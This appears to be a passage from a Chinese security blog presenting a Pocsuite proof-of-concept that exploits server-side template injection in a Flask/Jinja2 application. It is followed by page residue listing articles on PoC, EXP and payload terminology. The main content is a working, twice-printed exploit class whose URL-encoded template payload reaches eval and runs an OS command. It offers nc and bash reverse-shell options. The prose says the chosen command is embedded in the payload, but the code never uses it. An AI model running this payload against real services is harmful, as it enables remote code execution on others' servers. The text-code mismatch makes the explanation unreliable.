    class FlaskEXP(POCBase):
        vulID = '1.1'
        version = '1.1'
        author = ['1.1']
        vulDate = '1.1'
        createDate = '1.1'
        updateDate = '1.1'
        references = ['flask']
        name = 'flask'
        appPowerLink = 'flask'
        appName = 'flask'
        appVersion = 'flask'
        vulType = VUL_TYPE.CODE_EXECUTION
        desc = '''
    
        '''
        samples = ['127.0.0.1:8000']
        category = POC_CATEGORY.EXPLOITS.REMOTE
    
        def _options(self):
            o = OrderedDict()
            payload = {
                "nc": REVERSE_PAYLOAD.NC,
                "bash": REVERSE_PAYLOAD.BASH,
            }
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    
        def _attack(self):
            result = {}
            path = "/?name="
            url = self.url + path
            # print(url)
            cmd = self.get_option("command")
            payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
            # print(payload)
            try:
                resq = requests.get(url + payload)
                t = resq.text
                t = t.replace('\n', '').replace('\r', '')
                print(t)
                t = t.replace(" ", "")
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
            except Exception as e:
                return
            return self.parse_attack(result)
    
        def parse_attack(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    register_poc(FlaskEXP)
    

    攻击成功
    在这里插入图片描述
    上面的脚本将接收到的命令赋值给command参数

        def _options(self):
            o = OrderedDict()
            payload = {
                "nc": REVERSE_PAYLOAD.NC,
                "bash": REVERSE_PAYLOAD.BASH,
            }
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    

    接下来创造了一个cmd变量,用于接收用户的command命令参数,并嵌入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目标系统,这样就能够在目标系统中执行命令了。

        def _attack(self):
            result = {}
            path = "/?name="
            url = self.url + path
            # print(url)
            cmd = self.get_option("command")
            payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
            # print(payload)
            try:
                resq = requests.get(url + payload)
                t = resq.text
                t = t.replace('\n', '').replace('\r', '')
                print(t)
                t = t.replace(" ", "")
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
            except Exception as e:
                return
            return self.parse_attack(result)
    

    在这里插入图片描述

    总结:SSTI服务端模板注入正是因为代码中通过不安全的字符串拼接的方式来构造模板文件而且过分信任了用户的输入而造成的。大多数模板引擎自身没什么问题,所以在审计时我们重点是找到一个模板,这个模板通过字符串拼接而构造,而且用户输入的数据会影响字符串拼接过程。

    展开全文
  • POCEXP、Payload的区别

    2021-06-07 15:32:48
    POCEXP、Payload的区别 POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。 EXP:全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作。 Payload:中文 ' 有效载荷 ',...
  • 在渗透中poc exp payload shellcode的具体含义(小宇特详解) 具体含义 1.POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。 2.EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用...
  • poc--exp 个人常用渗透poc收集 CVE-2014-4113 Win64bit本地提权漏洞 CVE-2014-4878海康RCE突破 CVE-2017-0143永恒之蓝突破 CVE-2017-0474安卓媒体服务器RCE CVE-2017-0641 Google Android Media框架远程代码执行...
  • 渗透中POCEXP、Payload与Shellcode的区别

    万次阅读 多人点赞 2019-06-17 16:21:37
    1. POCEXP、Payload与Shellcode POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。 EXP:全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作。 Payload:中文 ' ...
  • 1.POC POC,Proof ofConcept,中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。 2.EXP EXP,Exploit,中文意思是...
  • 聚合Github上已有的PocExp,CVE信息来自NVD 用法 usage: exp.py [-h] [-d {latest,all}] [-p {latest,all}] [-y {1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,...
  • <font size=14 color=blue>...对于白帽子黑客而言,PoC/Exp 资源就好比我们的弹药,通过各种各样的渠道能获取更多的 PoC/Exp,就意味着我们的军火库能够配备得更豪华,在攻防世界里这便代表着更大胜率。 ...
  • POCEXP POC = Proof of Concept中文意思是“观点证明”。这个短语并非仅仅在漏洞报告中使用,甲方在项目招标过程中也常常要求乙方提供POC,即证明你的方案或者产品能达到声称的功能或性能,漏洞报告中的POC则是一...
  • 1.POC POC,Proof ofConcept,中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。 2.EXP EXP,Exploit,中文意思是...
  • 1. POCEXP、Payload与Shellcode的区别 POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。 EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。 Payload:...
  • PoC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。 Exp,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。 Payload,中文“有效载荷”,指成功exploit之后,真正在目标...
  • 目录前言企业微信-server酱推送第一步:注册企业微信第二步:在企业微信创建应用第三步:在企业微信管理后台,通过应用管理...每天各种漏洞被发现,验证漏洞的POC、利用漏洞的EXP也都被各位前辈们快速的“造”出来,在
  • poc_and_exp 搜集的或者自己写的poc或者exp 所有代码仅为教育目的编写,使用范围仅限于教育研究以及合法的渗透测试及攻防演练,使用者请自觉遵守所在地法律法规 pyspider unauthorized access pyspider未授权访问...
  • POC or EXP

    2017-02-09 11:18:53
    收集的POCEXP
  • 1. POCEXP、Payload与Shellcode POC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。 EXP,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。 Payload,中...
  • 针对Windows的PoC很多会被杀毒软件拦截,此为正常现象,请自行斟酌是否下载,如果有带有后门的exp,请通过提交issue联系我。 Windows Microsoft Windows SMB远程代码执行漏洞(永恒之蓝) Microsoft IIS 6.0 远程...
  • PoC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。仅用于漏洞的验证,并无较强的攻击效果,并不容易给服务器造成损害与资产泄露 Exp:全称 ’ Exploit ',中文 ’ 利用 ',指利用...
  • 文章目录Python一、编写EXP1. requests模块- 概述- 支持HTTP的方法- requests使用HTTP方法- 参数- 对象对应的方法2. 快速开始3. 相关操作- 定制头部- 超时- GET传参- POST传参- 上传文件- 重定向- cookie4. py脚本...
  • 收集和编写PoCEXP的某些应用程序中的漏洞
  • EXPPOC

    2020-12-26 20:21:23
    EXP Exploit 漏洞利用代码,运行之后对目标进行攻击。 POC Proof of Concept 漏洞验证代码,检测目标是否存在对应漏洞。
  • 本篇介绍日常写POC/EXP中的一些requests的用法及坑点。 基本用法 GET请求 import requests #这里写一次,后面不再重写 url = 'https://www.anquanke.com/' headers ={ 'User-Agent' : 'Mozilla/5.0 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,578
精华内容 1,431
关键字:

pocexp

友情链接: skin.rar